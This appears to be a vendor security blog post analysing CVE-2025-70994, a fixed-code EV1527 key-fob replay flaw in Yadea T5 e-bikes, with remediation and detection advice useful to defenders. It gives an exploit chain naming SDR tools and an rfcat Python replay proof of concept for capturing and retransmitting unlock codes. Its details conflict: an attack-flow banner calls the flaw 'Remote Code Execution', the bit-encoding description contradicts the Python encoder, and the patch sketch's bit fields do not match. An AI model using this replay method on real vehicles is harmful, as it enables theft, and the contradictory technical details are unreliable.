home intel cve-2025-70994-yadea-t5-ev1527-replay-attack
CVE Analysis 2026-04-23 · 7 min read

CVE-2025-70994: Yadea T5 EV1527 Fixed-Code Replay Attack Enables Full Vehicle Takeover

Yadea T5 e-bikes (2024+) use EV1527 fixed-code RF with no rolling codes or challenge-response. One captured transmission is sufficient for permanent unauthorized access.

#weak-authentication#replay-attack#rf-protocol#keyless-entry#signal-forgery
Technical mode — for security professionals
▶ Attack flow — CVE-2025-70994 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2025-70994Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2025-70994 (CVSS 7.3 HIGH) affects Yadea T5 electric bicycles manufactured in 2024 and later. The keyless entry system transmits a static EV1527-encoded RF frame on every key fob press. Because the transmitted code never changes — no rolling code, no cryptographic nonce, no challenge-response — a passive RF capture followed by a replay is sufficient to unlock, start, or otherwise fully operate the vehicle. The attack requires no pairing, no proximity beyond ~100 m line-of-sight, and leaves no forensic trace on the vehicle.

This is not a novel attack class. It is the same class of vulnerability that has affected cheap garage door openers since the 1990s. The finding here is that a 2024-production electric vehicle with an MSRP in the premium consumer segment shipped with a protocol designed for sub-$0.50 fixed-code keychains.

Root cause: The Yadea T5 keyless entry receiver accepts any replay of a previously transmitted EV1527 fixed-code frame because the protocol encodes a static 20-bit address and 4-bit data field with no sequence counter, session nonce, or message authentication code.

Affected Component

The keyless entry system uses an EV1527-compatible encoder IC in the key fob (commonly a PT2260, PT2262, or direct EV1527-core derivative) transmitting at 433.92 MHz ASK/OOK. The receiver side uses a corresponding decoder IC that latches on address match. The entire "authentication" decision is:

  1. Receive OOK-modulated 433.92 MHz burst.
  2. Demodulate 24 bits (20-bit address + 4-bit data).
  3. Compare address field to hardcoded value in receiver NVM.
  4. If match → assert output line → unlock/start.

There is no state. There is no counter. The receiver has no memory of previously accepted codes.

Root Cause Analysis

The EV1527 frame format is fully deterministic. Given a single capture, an attacker recovers the complete credential:

EV1527 FRAME STRUCTURE (24 bits, LSB-first per period):

  [ SYNC ] [ A19 A18 A17 ... A1 A0 ] [ D3 D2 D1 D0 ]
     1b             20 bits                4 bits

  Encoding: Manchester-like PWM
    Logic 1: short pulse  + long  gap  (~1T high, ~3T low)
    Logic 0: long  pulse  + short gap  (~3T high, ~1T low)
    Sync:    short pulse  + 31T  gap

  T (period base) ≈ 200 µs @ 433.92 MHz carrier
  Full frame duration ≈ ~25 ms
  Typical repetition: 3–5 bursts per key press

The "authentication" logic implemented in the decoder IC (pseudocode reconstructed from EV1527 datasheet behavior and standard receiver firmware patterns):

// EV1527-compatible decoder — reconstructed receiver logic
// BUG: entire authentication is a static address comparison; no state

#define ADDR_BITS   20
#define DATA_BITS   4
#define FRAME_BITS  (ADDR_BITS + DATA_BITS)

typedef struct {
    uint32_t learned_address;  // programmed once at factory/pairing
    uint8_t  vt_threshold;     // valid transmission threshold (typically 2)
    uint8_t  vt_count;         // consecutive matching frame counter
} ev1527_receiver_t;

// Called once per fully decoded 24-bit frame
int ev1527_process_frame(ev1527_receiver_t *rx, uint32_t frame) {
    uint32_t rx_address = (frame >> DATA_BITS) & 0xFFFFF;  // upper 20 bits
    uint8_t  rx_data    = frame & 0x0F;                     // lower 4 bits

    // BUG: static comparison — rx_address never changes, replay is valid forever
    if (rx_address == rx->learned_address) {
        rx->vt_count++;
        if (rx->vt_count >= rx->vt_threshold) {
            rx->vt_count = 0;
            ev1527_assert_output(rx_data);  // unlocks vehicle
            return EV1527_VALID;
        }
    } else {
        rx->vt_count = 0;  // reset on mismatch, not on replay detection
    }
    return EV1527_PENDING;
}

// BUG: no rolling code increment
// BUG: no nonce challenge from receiver
// BUG: no timestamp / sequence window
// BUG: no MAC / HMAC over frame content
// BUG: vt_count bypass: two identical replayed frames satisfy threshold

The learned_address field is written once during the factory pairing procedure or initial owner pairing. It never rotates. The receiver contains no RTC, no nonvolatile counter, and no cryptographic primitive. The vt_threshold check (requiring 2–3 consecutive matching frames) provides zero security against replay because the attacker simply retransmits the captured burst sequence — which itself contains 3–5 repetitions.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker positions within ~50–100 m of target vehicle with SDR receiver
   (RTL-SDR, HackRF, or YARD Stick One @ 433.92 MHz, bandwidth 200 kHz)

2. Owner operates key fob (unlock, lock, or anti-theft arm press)
   → Single button press emits 3–5 identical 24-bit EV1527 bursts
   → Attacker captures raw IQ samples or demodulated bitstream

3. Attacker decodes captured frame:
   address = (frame >> 4) & 0xFFFFF   → e.g. 0xA3F21
   data    = frame & 0x0F              → e.g. 0x1 (unlock)
   Full 24-bit credential: 0xA3F211

4. Attacker retransmits captured frame at any later time using:
   - YARD Stick One + rfcat
   - HackRF + GNU Radio replay source
   - Dedicated RollJam-style hardware
   No decoding of cryptographic material required — raw OOK replay suffices

5. Receiver asserts unlock output line → vehicle disables immobilizer,
   enables motor controller, releases electronic brake lock

6. Attacker has full operational control of vehicle with zero artifacts

The following Python snippet demonstrates frame construction and transmission using rfcat against a YARD Stick One:

#!/usr/bin/env python3
# CVE-2025-70994 - EV1527 replay PoC
# Requires: rfcat, YARD Stick One or compatible sub-GHz transceiver
# For research/demonstration only

import rfcat
from rfcat import RfCat

CARRIER_HZ   = 433920000
SYMBOL_T_US  = 200          # base period in microseconds
REPEAT_COUNT = 5            # match typical fob burst count

def encode_ev1527_pwm(address_20bit: int, data_4bit: int) -> bytes:
    """Encode 24-bit EV1527 frame as OOK PWM pulse stream."""
    frame_bits = ((address_20bit & 0xFFFFF) << 4) | (data_4bit & 0x0F)
    pulses = []

    # Sync pulse: 1T high + 31T low
    pulses.append((1 * SYMBOL_T_US, 31 * SYMBOL_T_US))

    for i in range(23, -1, -1):
        bit = (frame_bits >> i) & 1
        if bit:
            # Logic 1: 3T high + 1T low
            pulses.append((3 * SYMBOL_T_US, 1 * SYMBOL_T_US))
        else:
            # Logic 0: 1T high + 3T low
            pulses.append((1 * SYMBOL_T_US, 3 * SYMBOL_T_US))

    return pulses

def transmit_replay(captured_address: int, captured_data: int):
    d = RfCat()
    d.setFreq(CARRIER_HZ)
    d.setMdmModulation(rfcat.MOD_ASK_OOK)
    d.setMdmDRate(int(1e6 / (SYMBOL_T_US * 4)))  # baud rate for T=200µs
    d.setMaxPower()

    pulses = encode_ev1527_pwm(captured_address, captured_data)

    for _ in range(REPEAT_COUNT):
        for high_us, low_us in pulses:
            # rfcat OOK: construct raw buffer from pulse timings
            # (buffer construction abstracted for brevity)
            pass

    # In practice: use d.RFxmit() with pre-built OOK bit buffer
    print(f"[*] Replaying: addr=0x{captured_address:05X} data=0x{captured_data:X}")
    # d.RFxmit(ook_buffer, repeat=REPEAT_COUNT)

# Example: address recovered from single passive capture
transmit_replay(captured_address=0xA3F21, captured_data=0x1)

Memory Layout

This is an RF protocol vulnerability, not a memory corruption bug. The relevant "state" is the receiver IC's NVM and runtime latch registers:

EV1527 RECEIVER NVM / REGISTER STATE:

  [ NVM: learned_address  20 bits @ OTP[0:19]  ] = 0xA3F21  (FIXED FOREVER)
  [ NVM: vt_threshold      4 bits @ OTP[20:23] ] = 0x2      (2 frames required)
  [ RAM: vt_count          4 bits @ REG[0:3]   ] = 0x0      (resets each press)
  [ RAM: output_latch      1 bit  @ REG[4]     ] = 0        (0=locked, 1=unlocked)

LEGITIMATE TRANSMISSION (owner presses fob):
  Frame 1 received: addr=0xA3F21 → match → vt_count=1
  Frame 2 received: addr=0xA3F21 → match → vt_count=2 → ASSERT OUTPUT
  Frame 3 received: (ignored, already triggered)

REPLAY ATTACK (attacker retransmits captured burst, 10 minutes later):
  Frame 1 replayed: addr=0xA3F21 → match → vt_count=1
  Frame 2 replayed: addr=0xA3F21 → match → vt_count=2 → ASSERT OUTPUT
  ^^^ IDENTICAL RESULT — receiver has no memory of prior frame

Patch Analysis

The correct fix requires replacing the EV1527 fixed-code protocol with a rolling-code or cryptographic protocol. The industry-standard replacement is the KeeLoq rolling code scheme or a modern alternative such as AES-based challenge-response. The minimum viable fix at the firmware/hardware level:

// BEFORE (vulnerable) — EV1527 fixed-code comparison:
int authenticate_fob(uint32_t received_frame) {
    uint32_t addr = (received_frame >> 4) & 0xFFFFF;
    // BUG: static match, valid for eternity
    return (addr == stored_address) ? AUTH_OK : AUTH_FAIL;
}

// AFTER (patched) — rolling code with 16-bit counter window:
// Requires: fob and receiver share secret key K and synchronized counter CNT

int authenticate_fob_rolling(uint32_t received_frame) {
    uint32_t addr     = (received_frame >> 20) & 0xFFFF;  // 16-bit addr
    uint16_t hop_code = received_frame & 0xFFFF;           // encrypted counter

    if (addr != stored_address) return AUTH_FAIL;

    // Decrypt hop code using shared secret (KeeLoq 64-bit block cipher)
    uint32_t decrypted = keeloq_decrypt(hop_code, stored_key_K);
    uint16_t rx_cnt    = decrypted & 0xFFFF;

    // Accept if counter is within sync window [last_cnt+1, last_cnt+window]
    // BUG FIXED: replayed code has rx_cnt <= last_cnt → rejected
    if (rx_cnt > last_accepted_cnt &&
        rx_cnt <= last_accepted_cnt + SYNC_WINDOW) {
        last_accepted_cnt = rx_cnt;  // advance window, replay now invalid
        return AUTH_OK;
    }
    return AUTH_FAIL;  // replay or desync
}

// Alternative minimum fix: AES-128 challenge-response
// Receiver sends 128-bit nonce → fob signs with shared key → verify
// Requires bidirectional RF link (receiver must also transmit)

Detection and Indicators

There is no on-vehicle detection mechanism — the receiver IC has no logging, no anomaly detection, and no connectivity. Detection must occur externally:

  • RF monitoring: Unusual 433.92 MHz OOK transmissions in vehicle vicinity, particularly bursts matching EV1527 frame timing (~25 ms frame, 3–5 repetitions) without corresponding owner presence.
  • SDR survey: Passive capture and decode of 433.92 MHz traffic near suspected target can confirm EV1527 protocol use. Frame structure is immediately identifiable by sync pulse ratio (1T:31T).
  • Physical indicators: Vehicle found unlocked without owner action; odometer/trip log inconsistencies on models with telematics; battery drain inconsistent with idle state.
  • RollJam artifacts: If attacker used a RollJam-style suppression device, the owner's key fob press will fail once (jammed) before the attacker replays — owner may notice a single failed unlock attempt.

Remediation

For Yadea (manufacturer):

  • Replace EV1527 encoder/decoder pair with a rolling-code protocol (KeeLoq, AES-OFB counter mode, or equivalent). This requires a hardware revision — firmware update alone cannot fix a fixed-code encoder IC.
  • Minimum: deploy SH66V03R or ATA5745-based system with hardware-enforced counter synchronization and 64-bit+ key space.
  • If bidirectional RF is feasible in form factor: implement AES-128 challenge-response; eliminates relay and replay attack classes simultaneously.

For owners (interim mitigations):

  • Use a physical secondary lock (chain, disc lock) on the vehicle independent of the keyless system.
  • Store vehicle in access-controlled areas to reduce passive capture opportunity.
  • Faraday-cage key fobs when not in use (signal-blocking pouch) to prevent inadvertent transmission capture.
  • Be aware that the keyless entry system provides no cryptographic security until a hardware replacement is issued.

No firmware update path exists for this vulnerability. The EV1527 encoder IC in the key fob is a fixed-function OTP-programmed component. Remediation requires physical hardware replacement of both the fob and the receiver module in affected vehicles.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →